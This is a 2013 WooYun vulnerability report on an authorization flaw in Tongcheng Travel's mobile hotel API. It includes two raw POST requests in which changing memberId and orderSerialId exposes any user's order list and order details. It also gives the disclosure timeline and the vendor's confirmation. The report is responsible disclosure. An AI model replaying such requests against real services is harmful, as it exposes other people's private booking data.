当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-044564

漏洞标题:同程旅游网任意用户订单查询

相关厂商:苏州同程旅游网络科技有限公司

漏洞作者: 带馅儿馒头

提交时间:2013-11-30 22:33

修复时间:2014-01-14 22:34

公开时间:2014-01-14 22:34

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-30: 细节已通知厂商并且等待厂商处理中
2013-12-03: 厂商已经确认,细节仅向厂商公开
2013-12-13: 细节向核心白帽子及相关领域专家公开
2013-12-23: 细节向普通白帽子公开
2014-01-02: 细节向实习白帽子公开
2014-01-14: 细节向公众公开

简要描述:

来求礼物的~

详细说明:

问题在同程旅游网的app端,可查询任意用户的订单,导致可泄漏大量用户敏感信息~
查询用户的订单列表,这里修改用户id就可以了:

POST http://tcmobileapi.17usoft.com/MobileAPI/hotel/orderhandler.ashx HTTP/1.1
Host: tcmobileapi.17usoft.com
Connection: close
Accept-Encoding: gzip
Content-Length: 518
Connection: close
Accept-Language: zh-cn
Cookie: BIGipServertcmobileapi-pool=48667xxxxxxxxxxx.0000
User-Agent: TongchengRequest
{"request":{"header":{"reqTime":"2013-11-30 21:47:40.146","accountID":"5eexxx9-b8c6-4xxf-8b87-3c38xxxx68a","version":"20110303090115","serviceName":"GetHotelOrderList","digitalSign":"1C296BFCxxxxxxxxxD9C8DCB24"},"body":{"refId":"5866741","page":"1","memberId":"1xxxxx9","orderType":"0","clientInfo":{"clientIp":"1.1.1.1","refId":"5866741","versionType":"iPhone","versionNumber":"5.3.0","deviceId":"DC4D7xx4-3xx0-40xB-AB83-D7E9xxxxA40C"},"pageSize":"10","deviceId":"DC4Dxx4-3Cxx0-4xEB-AB83-D7E9xxxxx40C"}}}


如我们获取在上个洞子发现的id为953819的用户的订单信息;

1.png


获取用户某个订单的具体信息,查询数据包如下,但是这里需要memberId和orderSerialId相对应,但是我们在上面已经获取了用户的订单列表,自然就能够查询用户的订单详情了;

POST http://tcmobileapi.17usoft.com/MobileAPI/hotel/orderhandler.ashx HTTP/1.1
Host: tcmobileapi.17usoft.com
Connection: close
Accept-Encoding: gzip
Content-Length: 518
Connection: close
Accept-Language: zh-cn
Cookie: BIGipServertcmobileapi-pool=486674xxxxx0.0000
User-Agent: TongchengRequest
{"request":{"header":{"reqTime":"2013-11-30 21:59:25.339","accountID":"5ee7b429-b8c6-400f-8b87-3c384c4ea68a","version":"20110303090115","serviceName":"GetHotelOrderDetail","digitalSign":"376CB32B5xxxxxEE4700225C"},"body":{"memberId":"1xxxxx00","refId":"5866741","orderSerialId":"hh5xxxxxxd703","clientInfo":{"clientIp":"1.1.1.1","refId":"5866741","versionType":"iPhone","versionNumber":"5.3.0","deviceId":"DC4xx4-3C50-40xB-ABx3-D7E9DxxxxA40C"},"deviceId":"DCxxx94-3C50-4xxB-ABx3-D7E9xxxxA40C"}}}


2.png


PS:这里就不一一截图了,求礼物~

漏洞证明:

见详细说明

修复方案:

还是各种校验,建议加入随机生成的token

版权声明:转载请注明来源 带馅儿馒头@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-12-03 11:02

厂商回复:

感谢馒头,已经确认,正在修复中

最新状态:

暂无